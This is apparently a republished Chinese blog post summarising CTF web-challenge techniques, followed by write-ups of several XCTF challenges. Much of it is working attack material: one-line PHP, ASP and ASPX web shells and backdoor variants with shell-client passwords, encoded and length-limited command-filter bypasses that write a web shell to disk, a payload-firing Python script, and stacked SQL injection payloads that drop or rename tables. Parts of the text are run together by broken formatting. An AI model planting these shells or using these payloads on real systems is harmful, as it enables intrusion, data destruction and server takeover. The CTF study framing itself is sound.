最全CTF Web题思路总结(更新ing)
Posted yjprolus
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了最全CTF Web题思路总结(更新ing)相关的知识,希望对你有一定的参考价值。
网上似乎没有一篇比较完整的CTF Web题思路的总结,希望这篇“最全总结”对各位师傅有帮助。
基础
Flag可能出现的位置
网页源代码(注意注释)
数据库中
phpinfo
靶机中的文件
环境变量
题目要求
XFF/Refer/UA/Cookie/F12( view-source: )/URL/robots.txt/响应码/
指纹识别
TideFinger/Bscan/Glass/Arjun/Wappalyzer插件
源码和HTTP响应信息
HTTP响应文
错误界面(404/302)
源码泄露
Git
Githack恢复
查看log后选择性地进行git reset回滚
.git/config可能有access_token信息
SVN
Seay-svn/dvcs-ripper工具
注意wc.db文件存在与否
WEB.INF/web.xml泄露
.DS_Store文件泄漏
.hg泄露:dvcs.ripper工具
CVS泄露
备份文件泄露
gedit:filename ~
vim:vim -r filename.swp/.swo/.swn
www.zip/rar/tar.gz
常用一句话
PHP
<?php @eval($_POST['yj']);?>
ASP
<%eval request ("yj")%>
ASPX
<%@ Page Language="Jscript"%><%eval(Request.Item["yj"],"unsafe");%>
JSP
shtml
ssi:<--#include file="..\\..\\web.config" -->
PHP专题
基础
ctfshow web102
<?=是php的短标签,是echo()的快捷用法 ?? #### 数组总比非数组类型大 #### && > = > and #### 内部类 常用`Exception`,其他可用的有 `DirectoryIterator/FilesystemIterator/SplFileObject/GlobIterator/ReflectionClass/ReflectionMethod` ```php // ctfshow web109/web110 eval("echo new $v1($v2());"); // ?v1=Exception&v2=system('tac fl36dg.txt') ``` ### 考题中会出现的函数 #### get_defined_vars() 返回由所有已定义变量所组成的数组 #### call_user_func() 函数把第一个参数作为回调函数,其余参数都是回调函数的参数 #### _() 是一个函数 _()等效于gettext() 是gettext()的拓展函数,需要开启text扩展。`echo gettext("ctfshownb");` `和 echo _("ctfshownb");` 的输出结果都为 ctfshownb #### parse_str() 函数会将传入的第一个参数设置成变量,如果设置了第二参数,则会将第一个参数的变量以数组元素的形式存入到这个数组。 ```php if(isset($_POST['v1'])) $v1 = $_POST['v1']; $v3 = $_GET['v3']; parse_str($v1,$v2); if($v2['flag']==md5($v3)) echo $flag; // payload GET ?v3=1 & POST:v1=flag=c4ca4238a0b923820dcc509a6f75849b # md5解密后对应1 ``` #### strrev() 反转字符串 #### shell_exec() 缩写为`` #### sprintf() `sprintf(format,arg1,arg2,arg++)`: 把格式化的字符串写入一个变量中。arg1、arg2、arg++ 参数将被插入到主字符串中的百分号(%)符号处。该函数是逐步执行的。在第一个 % 符号处,插入 arg1,在第二个 % 符号处,插入 arg2,依此类推。`%`后的第一个字符,都会被当做字符类型而被吃掉。也就是当做一个类型进行匹配后面的变量。如`%c`匹配ascii码,`%d`匹配整数,如果不在定义中的也会进行匹配,匹配为空。比如`%\\`匹配任何参数都为空。 ```php <?php ... $username = addslashes($_POST['username']); $username = sprintf("username = '%s' ",$username); $password = $_POST['password']; ... $sql = sprintf("select * from t where $username and password = '%s' ", $password); ... ?>
payload`username = admin%1$' and 1 = 1#`,可以使**单引号逃逸**,导致存在sql盲注。
#### mt_rand()
`mt_rand(min,max)`
```php
<?php
show_source(__FILE__);
include "flag.php";
$a = @$_REQUEST['hello']; // hello没有任何过滤
$seed = @$_REQUEST['seed'];
$key = @$_REQUEST['key'];
mt_srand($seed);
$true_key = mt_rand();
if ($key == $true_key)
echo "Key Confirm";
else
die("Key Error");
eval( "var_dump($a);");
?>
payload: POST:seed=1&key=1244335972&hello=);system('cat flag.php');echo(0
复杂变量$
eval('$string = "'.$_GET[cmd].'";'); // payload: http://127.0.0.1/test.php?cmd=$phpinfo()
file_get_contents()
函数将整个文件或一个url所指向的文件读入一个字符串中
fsockopen()
fsockopen($hostname,$port,$errno,$errstr,$timeout)
用于打开一个网络连接或者一个Unix 套接字连接,初始化一个套接字连接到指定主机(hostname),实现对用户指定url数据的获取。该函数会使用socket跟服务器建立tcp连接,进行传输原始数据。 fsockopen()将返回一个文件句柄,之后可以被其他文件类函数调用(例如:fgets(),fgetss(),fwrite(),fclose()还有feof())。如果调用失败,将返回false。
SoapClient
SoapClient是一个php的内置类,当其进行反序列化时,如果触发了该类中的__call
方法,那么__call
便方法可以发送HTTP和HTTPS请求。
MD5/SHA1 绕过 // TODO
0e
sha1('aaroZmOk') //0e66507019969427134894567494305185566735
sha1('aaK1STfY') //0e76658526655756207688271159624026011393
md5('QNKCDZO') //0e830400451993494058024219903391
md5('240610708') //0e462097431906509019562988736854
md5()遇到数组时会警告并且返回null:var_dump(@md5([]) === @md5([])) //bool(true)
,即null===null
ffifdyop:SQL注入绕过
$password = "ffifdyop";
$sql = "SELECT * FROM admin WHERE pass = '".md5($password,true)."'";
var_dump($sql);
弱类型
is_numeric()绕过:33a或者数组(大于任何值)绕过
字符串比较
比较两个字符串,strcmp(string1, string2)不区分大小写,strcasecmp(string1, string2)区分大小写。若string1 > string2,返回> 0;若string1 < string2,返回< 0;若string1 = string2,返回0。该函数无法处理数组,当出现数组时,返回null。var_dump(@strcmp([],'flag') == 0); //bool(true)
intval()
var_dump(intval('1')); //int(1)
var_dump(intval('1a')); //int(1)
var_dump(intval('1%001')); //int(1)
var_dump(intval('a1')); //int(0)
trim
利用 trim 及 is_numeric 等函数实现的绕过
<?php
// %0c1%00
$number = "\\f1\\0";
// trim 函数会过滤 \\n\\r\\t\\v\\0,但不会过滤过滤\\f
$number_2 = trim($number);
var_dump($number_2); // \\f1
$number_2 = addslashes($number_2);
var_dump($number_2); // \\f1
// is_numeric 检测的时候会过滤掉 '', '\\t', '\\n', '\\r', '\\v', '\\f' 等字符
// 但是不会过滤 '\\0'
var_dump(is_numeric($number)); // false
var_dump(strval(intval($number_2))); // 1
var_dump("\\f1" == "1"); // true
?>
正则式:/e可执行,构造越界 // TODO
ereg()
搜索字符串以匹配模式中给出的正则表达式,函数区分大小写,匹配可以被%00截断绕过
preg_replace() // TODO 慢慢积累
变量覆盖
$$
extract()函数
extract(array, extract_rules, prefix)
使用数组键名作为变量名,使用数组键值作为变量值。针对数组中每个元素,将在当前符号表中创建一个对应的变量
<?php
$flag = 'aaa';
extract($_GET);
if (isset($gift))
$content = trim(file_get_contents($flag));
if ($gift == $content)
echo 'flagyjprolus';
else
echo 'no flag';
?>
// payload: GET:?flag=&gift=
// extract()会将flag和gift的值覆盖为空。$content = file_get_contens()的文件为空或不存在时则返回空值(会出现警告),即可以满足条件$gift == $content。
parse_str()
parse_str("name=Peter&age=43",$myArray); print_r($myArray); //Array ( [name] => Peter [age] => 43 )
// TODO 再写几道例题
import_request_variables()
import_request_variables() 函数将 get/post/cookie 变量导入到全局作用域中。如果你禁止了 register_globals,但又想用到一些全局变量,那么此函数就很有用。该函数在最新版本的 php 中已经不支持
似乎没啥考点这个函数,可参考 CTF——PHP审计——变量覆盖_Captain Hammer的博客-CSDN博客_foreach ($_get as $key => $value)
开启了全局变量注册
其他
-
call_user_func(array($ctfshow, ‘getFlag’));
等于ctfshow::getFlag
(执行ctfshow类中静态方法getFlag) -
$cmd=$_GET['cmd']; if(preg_match('/^php$/im', $cmd)) # /i表示不区分大小写,/m表示多行匹配 if(preg_match('/^php$/i', $cmd)) # 字符 ^ 和 $ 同时使用时,表示精确匹配 echo 'hacker'; payload:?cmd=aaa%0aphp # %0a为换行符,这样是两行
-
// TODO ctfshow web123
-
// ctfshow web147 if(isset($_POST['ctf'])) $ctfshow = $_POST['ctf']; if(!preg_match('/^[a-z0-9_]*$/isD',$ctfshow)) $ctfshow('',$_GET['show']); // GET部分原理如下 function f($dotast) echo 111; phpinfo();//
payload:
GET
?show=echo 123;system("tac flag.php");//
POST
ctf=\\create_function
(\\为PHP默认命名空间,\\phpinfo即为直接调用该函数)
命令执行
相关函数
命令执行
-
system()
#string system ( string $command [, int &$return_var ] ) #system()函数执行有回显,将执行结果输出到页面上 <?php system("whoami"); ?>
-
exec()
<?php echo exec("whoami"); ?>
-
popen()
#resource popen ( string $command , string $mode ) #函数需要两个参数,一个是执行的命令command,另外一个是指针文件的连接模式mode,有r和w代表读#和写。函数不会直接返回执行结果,而是返回一个文件指针,但是命令已经执行 <?php popen( 'whoami >> c:/1.txt', 'r' ); ?> <?php $test = "ls /tmp/test"; $fp = popen($test,"r"); //popen打一个进程通道 while (!feof($fp)) //从通道里面取得东西 $out = fgets($fp, 4096); echo $out; //打印出来 pclose($fp); ?>
-
proc_open()
resource proc_open ( string $cmd , array $descriptorspec , array &$pipes [, string $cwd [, array $env [, array $other_options ]]] ) #与Popen函数类似,但是可以提供双向管道 <?php $test = "ipconfig"; $array = array( array("pipe","r"), //标准输入 array("pipe","w"), //标准输出内容 array("pipe","w") //标准输出错误 ); $fp = proc_open($test,$array,$pipes); //打开一个进程通道 echo stream_get_contents($pipes[1]); //为什么是$pipes[1],因为1是输出内容 proc_close($fp); ?>
-
passthru()
#void passthru ( string $command [, int &$return_var ] ) <?php passthru("whoami"); ?>
-
shell_exec()
#string shell_exec( string &command) <?php echo shell_exec("whoami"); ?>
-
反引号 `
#shell_exec() 函数实际上仅是反撇号 (`) 操作符的变体,当禁用shell_exec时,` 也不可执行 <?php echo `whoami`; ?>
-
pcntl_exec()
#void pcntl_exec ( string $path [, array $args [, array $envs ]] ) #path是可执行二进制文件路径或一个在文件第一行指定了 一个可执行文件路径标头的脚本 #args是一个要传递给程序的参数的字符串数组。 #pcntl是linux下的一个扩展,需要额外安装,可以支持 php 的多线程操作。 #pcntl_exec函数的作用是在当前进程空间执行指定程序,版本要求:PHP > 4.2.0 <?php pcntl_exec ( "/bin/bash" , array("whoami")); ?>
代码注入
-
eval()
#传入的参数必须为PHP代码,既需要以分号结尾。 #命令执行:cmd=system(whoami); #菜刀连接密码:cmd <?php @eval($_POST['cmd']);?>
-
assert()
#assert函数是直接将传入的参数当成PHP代码直接,不需要以分号结尾,当然你加上也可以。 #命令执行:cmd=system(whoami) #菜刀连接密码:cmd <?php @assert($_POST['cmd'])?>
-
preg_replace()
#preg_replace('正则规则','替换字符','目标字符') #执行命令和上传文件参考assert函数(不需要加分号)。 #将目标字符中符合正则规则的字符替换为替换字符,此时如果正则规则中使用/e修饰符,则存在代码执行漏洞。 preg_replace("/test/e",$_POST["cmd"],"jutst test");
-
create_function()
#创建匿名函数执行代码 #执行命令和上传文件参考eval函数(必须加分号)。 #菜刀连接密码:cmd $func =create_function('',$_POST['cmd']);$func();
-
array_map()
#array_map() 函数将用户自定义函数作用到数组中的每个值上,并返回用户自定义函数作用后的带有新值的数组。 回调函数接受的参数数目应该和传递给 array_map() 函数的数组数目一致。 #命令执行http://localhost/123.php?func=system cmd=whoami #菜刀连接http://localhost/123.php?func=assert 密码:cmd $func=$_GET['func']; $cmd=$_POST['cmd']; $array[0]=$cmd; $new_array=array_map($func,$array); echo $new_array;
-
call_user_func()
#传入的参数作为assert函数的参数 #cmd=system(whoami) #菜刀连接密码:cmd call_user_func("assert",$_POST['cmd']);
-
call_user_func_array()
#将传入的参数作为数组的第一个值传递给assert函数 #cmd=system(whoami) #菜刀连接密码:cmd $cmd=$_POST['cmd']; $array[0]=$cmd; call_user_func_array("assert",$array);
-
array_filter()
#用回调函数过滤数组中的元素:array_filter(数组,函数) #命令执行func=system&cmd=whoami #菜刀连接http://localhost/123.php?func=assert 密码cmd $cmd=$_POST['cmd']; $array1=array($cmd); $func =$_GET['func']; array_filter($array1,$func);
-
uasort()
#php环境>=<5.6才能用 #uasort() 使用用户自定义的比较函数对数组中的值进行排序并保持索引关联 。 #命令执行:http://localhost/123.php?1=1+1&2=eval($_GET[cmd])&cmd=system(whoami); #菜刀连接:http://localhost/123.php?1=1+1&2=eval($_POST[cmd]) 密码:cmd usort($_GET,'asse'.'rt');
绕过方式
空格
#常见的绕过符号有:
$IFS$9 、$IFS 、%09(php环境下)、 重定向符<>、<、
#$IFS在linux下表示分隔符,如果不加则bash会将IFS解释为一个变量名,加一个就固定了变量名,$IFS$9后面之所以加个$是为了起到截断的作用
命令分隔符
%0a #换行符,需要php环境
%0d #回车符,需要php环境
; #在 shell 中,是”连续指令”
& #不管第一条命令成功与否,都会执行第二条命令
&& #第一条命令成功,第二条才会执行
| #第一条命令的结果,作为第二条命令的输入
|| #第一条命令失败,第二条才会执行
关键字
假如过滤了关键字cat\\flag,无法读取不了flag.php,又该如何去做
-
拼接绕过
#执行ls命令: a=l;b=s;$a$b #cat flag文件内容: a=c;b=at;c=f;d=lag;$a$b $c$d #cat test文件内容 a="ccaatt";b=$a:0:1$a:2:1$a:4:1;$b test
-
编码绕过
#base64 echo "Y2F0IC9mbGFn"|base64 -d|bash ==> cat /flag echo Y2F0IC9mbGFn|base64 -d|sh ==> cat /flag #hex echo "0x636174202f666c6167" | xxd -r -p|bash ==> cat /flag #oct/字节 $(printf "\\154\\163") ==>ls $(printf "\\x63\\x61\\x74\\x20\\x2f\\x66\\x6c\\x61\\x67") ==>cat /flag printf,"\\x63\\x61\\x74\\x20\\x2f\\x66\\x6c\\x61\\x67"|\\$0 ==>cat /flag #i也可以通过这种方式写马 #内容为<?php @eval($_POST['c']);?> $printf,"\\74\\77\\160\\150\\160\\40\\100\\145\\166\\141\\154\\50\\44\\137\\120\\117\\123\\124\\133\\47\\143\\47\\135\\51\\73\\77\\76" >> 1.php
-
单引号和双引号绕过
c'a't test c"a"t test
-
反斜杠绕过
ca\\t test
-
通过$PATH绕过
#echo $PATH 显示当前PATH环境变量,该变量的值由一系列以冒号分隔的目录名组成 #当执行程序时,shell自动跟据PATH变量的值去搜索该程序 #shell在搜索时先搜索PATH环境变量中的第一个目录,没找到再接着搜索,如果找到则执行它,不会再继续搜索 echo $PATH /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin `echo $PATH| cut -c 8,9`t test
-
通配符绕过
- […]表示匹配方括号之中的任意一个字符
- …表示匹配大括号里面的所有模式,模式之间使用逗号分隔。
- …与[…]有一个重要的区别,当匹配的文件不存在,[…]会失去模式的功能,变成一个单纯的字符串,而…依然可以展开
cat t?st cat te* cat t[a-z]st cat ta,b,c,d,e,fst
限制长度
>a #虽然没有输入但是会创建a这个文件 ls -t #ls基于基于事件排序(从晚到早) sh a #sh会把a里面的每行内容当作命令来执行 使用|进行命令拼接 #l\\ s = ls base64 #使用base64编码避免特殊字符
-
七字符限制
w>hp w>1.p\\\\ w>d\\>\\\\ w>\\ -\\\\ w>e64\\\\ w>bas\\\\ w>7\\|\\\\ w>XSk\\\\ w>Fsx\\\\ w>dFV\\\\ w>kX0\\\\ w>bCg\\\\ w>XZh\\\\ w>AgZ\\\\ w>waH\\\\ w>PD9\\\\ w>o\\ \\\\ w>ech\\\\ ls -t|\\ sh
翻译过来就是
echo PD9waHAgZXZhbCgkX0dFVFsxXSk7 | base64 -d > 1.php
脚本代码
import requests url = "http://192.168.1.100/rce.php?1=0" print("[+]start attack!!!") with open("payload.txt","r") as f: for i in f: print("[*]" + url.format(i.strip())) requests.get(url.format(i.strip())) #检查是否攻击成功 test = requests.get("http://192.168.61.157/1.php") if test.status_code == requests.codes.ok: print(
CTF_Web:攻防世界高手区进阶题WP(9-14)
持续更新ing
0x09 PHP2
题目只有一句话,Can you anthenticate to this website?
,其实说实话没什么思路,根据dirsearch的结果,只有index.php存在,里面也什么都没有,各路前辈说index.phps
存在源码泄露,于是看了看。<?php if("admin"===$_GET[id]) { echo("<p>not allowed!</p>"); exit(); } $_GET[id] = urldecode($_GET[id]); if($_GET[id] == "admin") { echo "<p>Access granted!</p>"; echo "<p>Key: xxxxxxx </p>"; } ?> Can you anthenticate to this website?
上面这段代码是验证是否通过的条件,简单来说就是传入的
id
值不等于admin
,但在url解码后等于admin
,a
为%61
,传入%61dmin
,发现直接被浏览器解码为admin
,影响了后续的判断,于是对%再次编码,传入%2561dmin
。得到flag。
0x10 unserialize3
打开题目为:
class xctf{ public $flag = '111'; public function __wakeup(){ exit('bad requests'); } ?code=
传入的code只要跳出魔法函数__wakeup即可,wakeup函数在反序列化的对象与真实存在的参数个数不同时会跳过执行,即当前函数中只有一个参数$flag,若传入的序列化字符串中的参数个数为2即可绕过。
写如下代码:<?php class xctf{ public $flag = '111'; } $a = new xctf(); echo serialize($a);
得到结果
O:4:"xctf":1:{s:4:"flag";s:3:"111";}
,将类xctf
中的参数1修改为2,提交code
,得到flag。
后续会对反序列化知识进行专门的学习,在此先以刷题为主。0x11 upload1
创建环境失败。
题目是一个js前端验证的上传,抓包修改提交参数或者修改前端js验证都可绕过。0x12 Web_python_template_injection
创建环境失败。
题目是一个python模板注入(SSTI)的问题,后续会对SSTI进行详细分析,也积累一下知识。0x13 Web_php_unserialize
创建环境失败。
根据题目可以看出是一个反序列化漏洞,后续也会对这部分内容进行补充,积累基础知识。0x14 supersqli(easysql)
题目来自于强网杯2019 的easysql,是一个注入题。先看下题目:
通过1’报错,确定存在sql注入。
通过order by判断字段数为2。
在使用union联合查询时发现禁用了大部分的关键词。
在这里其实我没什么好的想法,使用变形绕过select也失败,不断报错,网上的前辈们都讲到了需要使用 堆叠注入 了,那联合查询和堆叠注入到底有什么不同的?
下面的话引用自SQL注入-堆叠注入(堆查询注入),感谢前辈们的总结。- 在SQL中,分号(;)是用来表示一条sql语句的结束。试想一下我们在 ; 结束一个sql语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。
- 而union injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别么?区别就在于union 或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。
- 例如以下这个例子。用户输入:
1; DELETE FROM products
服务器端生成的sql语句为:(因未对输入的参数进行过滤)Select * from products where productid=1;DELETE FROM products
当执行查询后,第一条显示查询信息,第二条则将整个表进行删除。 - 堆叠注入的局限性在于并不是每一个环境下都可以执行,可能受到API或者数据库引擎不支持的限制,(也就是说有的时候并不适合,那适合union 的时候适不适合堆叠?)当然了权限不足的问题也可以解释为什么攻击者无法修改数据或者调用一些程序。
既然堆叠可以使用任意语句进行执行,那首先学习几个常用的在库中的语句。
show databases;显示数据库列表。 show tables;显示当前查询的表。 desc words;获取表结构。 show columns from words;获取表结构。 alter table t1 rename t2;重命名表名。 alter table words change 字段名 新字段名 varchar(100)类型;重命名字段名。
查看所有表名,发现只有
1919810931114514
和words
表。
查看
words表
结构。
查看1919810931114514
表结构。
根据查询数据的结构可知,现在使用的是words表,而flag在1919810931114514
表中。array(2) { [0]=> string(1) "1" [1]=> string(7) "hahahah" }
到这里其实思路比较明亮,就是要查表中flag字段的值,但是select等关键字被禁用,各路前辈也提供了不同的思路来解决。
- 一是Lee-404 师傅预定SQL查询。
PREPARE name from '[my sql sequece]'; //预定义SQL语句 EXECUTE name; //执行预定义SQL语句 (DEALLOCATE || DROP) PREPARE name; //删除预定义SQL语句 char() cancat() //连接字符 char(115,101,108,101,99,116) -->SELECT
最后payload为
1';PREPARE name from concat(char(115,101,108,101,99,116),'* from `1919810931114514`');EXECUTE name;#
(纯数字的表名要加反引`号
)- 二是Art_Dillon师傅修改默认查询的表。
预知识为修改表、列名。
rename tables words to words1;修改表名。 alter table words change flag id varchar(100);修改表中列名。
最终payload为
1 ' or 1=1; rename tables words to words1;rename tables `1919810931114514` to words;alter table words change flag id varchar(100);#
执行成功后,需再次1' or 1=1;#
查询所有列信息。
小结
经过近几天题目的练习发现自己对于很多知识都有所欠缺,也正是希望通过练习题目的方式查找自己存在的不足,列下内容,进行逐一学习,下步将对上面所提到的弱类型md5碰撞、php伪协议、反序列化、模板注入(SSTI)等进行学习。
将基础学习补上之后继续刷题。以上是关于最全CTF Web题思路总结(更新ing)的主要内容,如果未能解决你的问题,请参考以下文章
第三届上海市大学生网络安全大赛 i春秋CTF Web解题思路
安全经典面试题总结-史上最全面试题思维导图总结(2022最新版)